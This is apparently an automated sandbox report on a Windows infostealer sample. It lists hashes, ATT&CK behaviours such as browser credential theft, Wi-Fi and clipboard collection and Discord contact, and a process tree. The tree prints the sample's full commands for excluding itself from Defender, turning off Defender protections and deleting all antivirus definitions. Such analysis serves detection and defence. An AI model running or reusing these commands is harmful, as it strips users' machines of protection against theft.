60ac3a6d9a02c0499294ce390aff28b3683e4aefbefafb8836a83913729892e7

Analysis

max time kernel
149s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/10/2026, 04:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 9.6MB
Sample261019-ely51axx8p
SHA256 60ac3a6d9a02c0499294ce390aff28b3683e4aefbefafb8836a83913729892e7
MD5 5e9cb167a38abac4032d9f95ff84aff4
SHA1 3d6560ecd5fc4208ddc84d5911caa391478ad891
SHA512 4a627b38b1bb64610560c692c7e9238e11adf9cc20e5f2cf49cc9d7a4eb14aa0835482e60c6568d97e8916d6d43c35e6cad91f74b1350000541d909344afccb5
SSDEEP 196608:qJ88X3kP7C4JG4+NVlTjat7tPGB/ihrAyCk7GPfF8bfTfQ3LZapK4Dfrtw9l:qK8XU+4kjjatZ+/yNCk7GPfF8bfTvHmX
TLSH
T1EBA63355B6A544F7FBE34539DA659876DBB1B4310BB0CECF06B842251E332E0983A732
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
5968	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3520	powershell.exe
4280	powershell.exe
1508	powershell.exe
5444	powershell.exe
3388	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3520	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3124	cmd.exe
3248	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4836	rar.exe

Loads dropped DLL 18 IoCs

pid	Process
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
10	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3348	tasklist.exe
5440	tasklist.exe
4568	tasklist.exe

UPX packed file 62 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c58b-26.dat	upx
behavioral2/memory/5112-30-0x00007FFBB92E0000-0x00007FFBB994F000-memory.dmp	upx
behavioral2/files/0x000d00000001c57b-32.dat	upx
behavioral2/files/0x000d00000001c588-34.dat	upx
behavioral2/memory/5112-35-0x00007FFBCC750000-0x00007FFBCC777000-memory.dmp	upx
behavioral2/memory/5112-38-0x00007FFBCD520000-0x00007FFBCD52F000-memory.dmp	upx
behavioral2/files/0x000d00000001c57e-40.dat	upx
behavioral2/memory/5112-41-0x00007FFBCBF80000-0x00007FFBCBF99000-memory.dmp	upx
behavioral2/files/0x001000000001c57a-39.dat	upx
behavioral2/memory/5112-55-0x00007FFBCBF10000-0x00007FFBCBF26000-memory.dmp	upx
behavioral2/files/0x000d00000001c587-54.dat	upx
behavioral2/files/0x000d00000001c57d-53.dat	upx
behavioral2/memory/5112-50-0x00007FFBCBF40000-0x00007FFBCBF4F000-memory.dmp	upx
behavioral2/files/0x000d00000001c584-48.dat	upx
behavioral2/memory/5112-46-0x00007FFBCCEA0000-0x00007FFBCCEAD000-memory.dmp	upx
behavioral2/files/0x000d00000001c580-45.dat	upx
behavioral2/memory/5112-43-0x00007FFBCBF50000-0x00007FFBCBF7B000-memory.dmp	upx
behavioral2/memory/5112-57-0x00007FFBBBD80000-0x00007FFBBC2B4000-memory.dmp	upx
behavioral2/files/0x000d00000001c581-58.dat	upx
behavioral2/memory/5112-60-0x00007FFBCBE90000-0x00007FFBCBEAA000-memory.dmp	upx
behavioral2/files/0x000d00000001c58e-61.dat	upx
behavioral2/files/0x000d00000001c583-63.dat	upx
behavioral2/memory/5112-64-0x00007FFBB92E0000-0x00007FFBB994F000-memory.dmp	upx
behavioral2/memory/5112-65-0x00007FFBCBE80000-0x00007FFBCBE8D000-memory.dmp	upx
behavioral2/files/0x000d00000001c589-67.dat	upx
behavioral2/memory/5112-69-0x00007FFBCBE40000-0x00007FFBCBE73000-memory.dmp	upx
behavioral2/memory/5112-68-0x00007FFBCC750000-0x00007FFBCC777000-memory.dmp	upx
behavioral2/memory/5112-71-0x00007FFBCBD70000-0x00007FFBCBE3E000-memory.dmp	upx
behavioral2/files/0x000d00000001c582-77.dat	upx
behavioral2/files/0x000d00000001c594-79.dat	upx
behavioral2/memory/5112-80-0x00007FFBCBD30000-0x00007FFBCBD55000-memory.dmp	upx
behavioral2/memory/5112-83-0x00007FFBB8EF0000-0x00007FFBB907A000-memory.dmp	upx
behavioral2/files/0x000d00000001c595-86.dat	upx
behavioral2/memory/5112-88-0x00007FFBC4630000-0x00007FFBC46E4000-memory.dmp	upx
behavioral2/memory/5112-82-0x00007FFBCBF50000-0x00007FFBCBF7B000-memory.dmp	upx
behavioral2/memory/5112-106-0x00007FFBCBF40000-0x00007FFBCBF4F000-memory.dmp	upx
behavioral2/memory/5112-128-0x00007FFBCBF10000-0x00007FFBCBF26000-memory.dmp	upx
behavioral2/memory/5112-184-0x00007FFBBBD80000-0x00007FFBBC2B4000-memory.dmp	upx
behavioral2/memory/5112-190-0x00007FFBCBE90000-0x00007FFBCBEAA000-memory.dmp	upx
behavioral2/memory/5112-218-0x00007FFBCBE40000-0x00007FFBCBE73000-memory.dmp	upx
behavioral2/memory/5112-255-0x00007FFBCBD70000-0x00007FFBCBE3E000-memory.dmp	upx
behavioral2/memory/5112-253-0x00007FFBB8EF0000-0x00007FFBB907A000-memory.dmp	upx
behavioral2/memory/5112-254-0x00007FFBC4630000-0x00007FFBC46E4000-memory.dmp	upx
behavioral2/memory/5112-252-0x00007FFBCBD30000-0x00007FFBCBD55000-memory.dmp	upx
behavioral2/memory/5112-239-0x00007FFBB92E0000-0x00007FFBB994F000-memory.dmp	upx
behavioral2/memory/5112-279-0x00007FFBB92E0000-0x00007FFBB994F000-memory.dmp	upx
behavioral2/memory/5112-296-0x00007FFBCC750000-0x00007FFBCC777000-memory.dmp	upx
behavioral2/memory/5112-302-0x00007FFBCBF10000-0x00007FFBCBF26000-memory.dmp	upx
behavioral2/memory/5112-308-0x00007FFBCBD30000-0x00007FFBCBD55000-memory.dmp	upx
behavioral2/memory/5112-307-0x00007FFBCBD70000-0x00007FFBCBE3E000-memory.dmp	upx
behavioral2/memory/5112-310-0x00007FFBC4630000-0x00007FFBC46E4000-memory.dmp	upx
behavioral2/memory/5112-309-0x00007FFBB8EF0000-0x00007FFBB907A000-memory.dmp	upx
behavioral2/memory/5112-303-0x00007FFBBBD80000-0x00007FFBBC2B4000-memory.dmp	upx
behavioral2/memory/5112-306-0x00007FFBCBE40000-0x00007FFBCBE73000-memory.dmp	upx
behavioral2/memory/5112-305-0x00007FFBCBE80000-0x00007FFBCBE8D000-memory.dmp	upx
behavioral2/memory/5112-297-0x00007FFBCD520000-0x00007FFBCD52F000-memory.dmp	upx
behavioral2/memory/5112-301-0x00007FFBCBF40000-0x00007FFBCBF4F000-memory.dmp	upx
behavioral2/memory/5112-300-0x00007FFBCCEA0000-0x00007FFBCCEAD000-memory.dmp	upx
behavioral2/memory/5112-299-0x00007FFBCBF50000-0x00007FFBCBF7B000-memory.dmp	upx
behavioral2/memory/5112-298-0x00007FFBCBF80000-0x00007FFBCBF99000-memory.dmp	upx
behavioral2/memory/5112-304-0x00007FFBCBE90000-0x00007FFBCBEAA000-memory.dmp	upx
behavioral2/memory/5112-295-0x00007FFBB92E0000-0x00007FFBB994F000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
4572	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4620	cmd.exe
5952	cmd.exe
3472	cmd.exe
2244	cmd.exe
6036	cmd.exe
1664	cmd.exe
4228	cmd.exe
5956	cmd.exe
4180	cmd.exe
1780	cmd.exe
1604	cmd.exe
5312	cmd.exe
1408	cmd.exe
3864	cmd.exe
1992	cmd.exe
2488	cmd.exe
4908	cmd.exe
5180	cmd.exe
5804	cmd.exe
2140	cmd.exe
4172	cmd.exe
1416	cmd.exe
3536	cmd.exe
2520	cmd.exe
3172	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5956	cmd.exe
4528	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2504	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4652	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
3388	powershell.exe
3388	powershell.exe
3520	powershell.exe
3520	powershell.exe
5444	powershell.exe
5444	powershell.exe
3520	powershell.exe
5444	powershell.exe
5532	WMIC.exe
5532	WMIC.exe
5532	WMIC.exe
5532	WMIC.exe
5196	powershell.exe
5196	powershell.exe
3388	powershell.exe
3388	powershell.exe
3248	powershell.exe
3248	powershell.exe
5196	powershell.exe
3248	powershell.exe
4280	powershell.exe
4280	powershell.exe
4280	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
4904	WMIC.exe
4904	WMIC.exe
4904	WMIC.exe
4904	WMIC.exe
3696	WMIC.exe
3696	WMIC.exe
3696	WMIC.exe
3696	WMIC.exe
4572	WMIC.exe
4572	WMIC.exe
4572	WMIC.exe
4572	WMIC.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
2504	WMIC.exe
2504	WMIC.exe
2504	WMIC.exe
2504	WMIC.exe
3784	powershell.exe
3784	powershell.exe
3784	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	5444	powershell.exe
Token: SeDebugPrivilege	5440	tasklist.exe
Token: SeDebugPrivilege	3348	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5532	WMIC.exe
Token: SeSecurityPrivilege	5532	WMIC.exe
Token: SeTakeOwnershipPrivilege	5532	WMIC.exe
Token: SeLoadDriverPrivilege	5532	WMIC.exe
Token: SeSystemProfilePrivilege	5532	WMIC.exe
Token: SeSystemtimePrivilege	5532	WMIC.exe
Token: SeProfSingleProcessPrivilege	5532	WMIC.exe
Token: SeIncBasePriorityPrivilege	5532	WMIC.exe
Token: SeCreatePagefilePrivilege	5532	WMIC.exe
Token: SeBackupPrivilege	5532	WMIC.exe
Token: SeRestorePrivilege	5532	WMIC.exe
Token: SeShutdownPrivilege	5532	WMIC.exe
Token: SeDebugPrivilege	5532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5532	WMIC.exe
Token: SeRemoteShutdownPrivilege	5532	WMIC.exe
Token: SeUndockPrivilege	5532	WMIC.exe
Token: SeManageVolumePrivilege	5532	WMIC.exe
Token: 33	5532	WMIC.exe
Token: 34	5532	WMIC.exe
Token: 35	5532	WMIC.exe
Token: 36	5532	WMIC.exe
Token: SeDebugPrivilege	5196	powershell.exe
Token: SeDebugPrivilege	4568	tasklist.exe
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeIncreaseQuotaPrivilege	5532	WMIC.exe
Token: SeSecurityPrivilege	5532	WMIC.exe
Token: SeTakeOwnershipPrivilege	5532	WMIC.exe
Token: SeLoadDriverPrivilege	5532	WMIC.exe
Token: SeSystemProfilePrivilege	5532	WMIC.exe
Token: SeSystemtimePrivilege	5532	WMIC.exe
Token: SeProfSingleProcessPrivilege	5532	WMIC.exe
Token: SeIncBasePriorityPrivilege	5532	WMIC.exe
Token: SeCreatePagefilePrivilege	5532	WMIC.exe
Token: SeBackupPrivilege	5532	WMIC.exe
Token: SeRestorePrivilege	5532	WMIC.exe
Token: SeShutdownPrivilege	5532	WMIC.exe
Token: SeDebugPrivilege	5532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5532	WMIC.exe
Token: SeRemoteShutdownPrivilege	5532	WMIC.exe
Token: SeUndockPrivilege	5532	WMIC.exe
Token: SeManageVolumePrivilege	5532	WMIC.exe
Token: 33	5532	WMIC.exe
Token: 34	5532	WMIC.exe
Token: 35	5532	WMIC.exe
Token: 36	5532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5444	powershell.exe
Token: SeSecurityPrivilege	5444	powershell.exe
Token: SeTakeOwnershipPrivilege	5444	powershell.exe
Token: SeLoadDriverPrivilege	5444	powershell.exe
Token: SeSystemProfilePrivilege	5444	powershell.exe
Token: SeSystemtimePrivilege	5444	powershell.exe
Token: SeProfSingleProcessPrivilege	5444	powershell.exe
Token: SeIncBasePriorityPrivilege	5444	powershell.exe
Token: SeCreatePagefilePrivilege	5444	powershell.exe
Token: SeBackupPrivilege	5444	powershell.exe
Token: SeRestorePrivilege	5444	powershell.exe
Token: SeShutdownPrivilege	5444	powershell.exe
Token: SeDebugPrivilege	5444	powershell.exe
Token: SeSystemEnvironmentPrivilege	5444	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 5112	3032	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	90
PID 5112 wrote to memory of 3864	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	92
PID 5112 wrote to memory of 4228	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	93
PID 5112 wrote to memory of 1416	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	94
PID 3864 wrote to memory of 3388	3864	cmd.exe	98
PID 1416 wrote to memory of 5444	1416	cmd.exe	99
PID 4228 wrote to memory of 3520	4228	cmd.exe	100
PID 5112 wrote to memory of 1992	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	101
PID 5112 wrote to memory of 3536	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	102
PID 5112 wrote to memory of 3124	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	105
PID 5112 wrote to memory of 2488	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	106
PID 5112 wrote to memory of 4908	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 5112 wrote to memory of 3472	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	111
PID 5112 wrote to memory of 5956	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	112
PID 3536 wrote to memory of 3348	3536	cmd.exe	113
PID 1992 wrote to memory of 5440	1992	cmd.exe	114
PID 5112 wrote to memory of 2244	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	115
PID 5112 wrote to memory of 4608	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	119
PID 3124 wrote to memory of 3248	3124	cmd.exe	121
PID 2488 wrote to memory of 5532	2488	cmd.exe	122
PID 4608 wrote to memory of 5196	4608	cmd.exe	123
PID 3472 wrote to memory of 5092	3472	cmd.exe	124
PID 2244 wrote to memory of 4652	2244	cmd.exe	125
PID 4908 wrote to memory of 4568	4908	cmd.exe	126
PID 5956 wrote to memory of 4528	5956	cmd.exe	127
PID 5112 wrote to memory of 4180	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	128
PID 4180 wrote to memory of 4720	4180	cmd.exe	130
PID 5196 wrote to memory of 2472	5196	powershell.exe	131
PID 2472 wrote to memory of 4996	2472	csc.exe	133
PID 5112 wrote to memory of 2520	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	134
PID 2520 wrote to memory of 472	2520	cmd.exe	136
PID 5112 wrote to memory of 1780	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	137
PID 1780 wrote to memory of 4820	1780	cmd.exe	139
PID 5112 wrote to memory of 1604	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	140
PID 1604 wrote to memory of 3200	1604	cmd.exe	142
PID 5112 wrote to memory of 3172	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	143
PID 3172 wrote to memory of 3036	3172	cmd.exe	145
PID 4228 wrote to memory of 5968	4228	cmd.exe	146
PID 5112 wrote to memory of 5180	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	147
PID 5180 wrote to memory of 1908	5180	cmd.exe	149
PID 5112 wrote to memory of 5312	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	150
PID 5312 wrote to memory of 4280	5312	cmd.exe	152
PID 5112 wrote to memory of 6036	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	153
PID 6036 wrote to memory of 3712	6036	cmd.exe	155
PID 5112 wrote to memory of 5804	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	156
PID 5804 wrote to memory of 4836	5804	cmd.exe	158
PID 5112 wrote to memory of 2140	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	159
PID 2140 wrote to memory of 4904	2140	cmd.exe	161
PID 5112 wrote to memory of 4620	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	162
PID 4620 wrote to memory of 3696	4620	cmd.exe	164
PID 5112 wrote to memory of 4172	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	165
PID 4172 wrote to memory of 4572	4172	cmd.exe	167
PID 5112 wrote to memory of 5952	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	168
PID 5952 wrote to memory of 1508	5952	cmd.exe	170
PID 5112 wrote to memory of 1408	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	171
PID 1408 wrote to memory of 2504	1408	cmd.exe	173
PID 5112 wrote to memory of 1664	5112	2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	174
PID 1664 wrote to memory of 3784	1664	cmd.exe	176

C:\Users\Admin\AppData\Local\Temp\2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Users\Admin\AppData\Local\Temp\2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-10-17_5e9cb167a38abac4032d9f95ff84aff4_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3520
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:5968
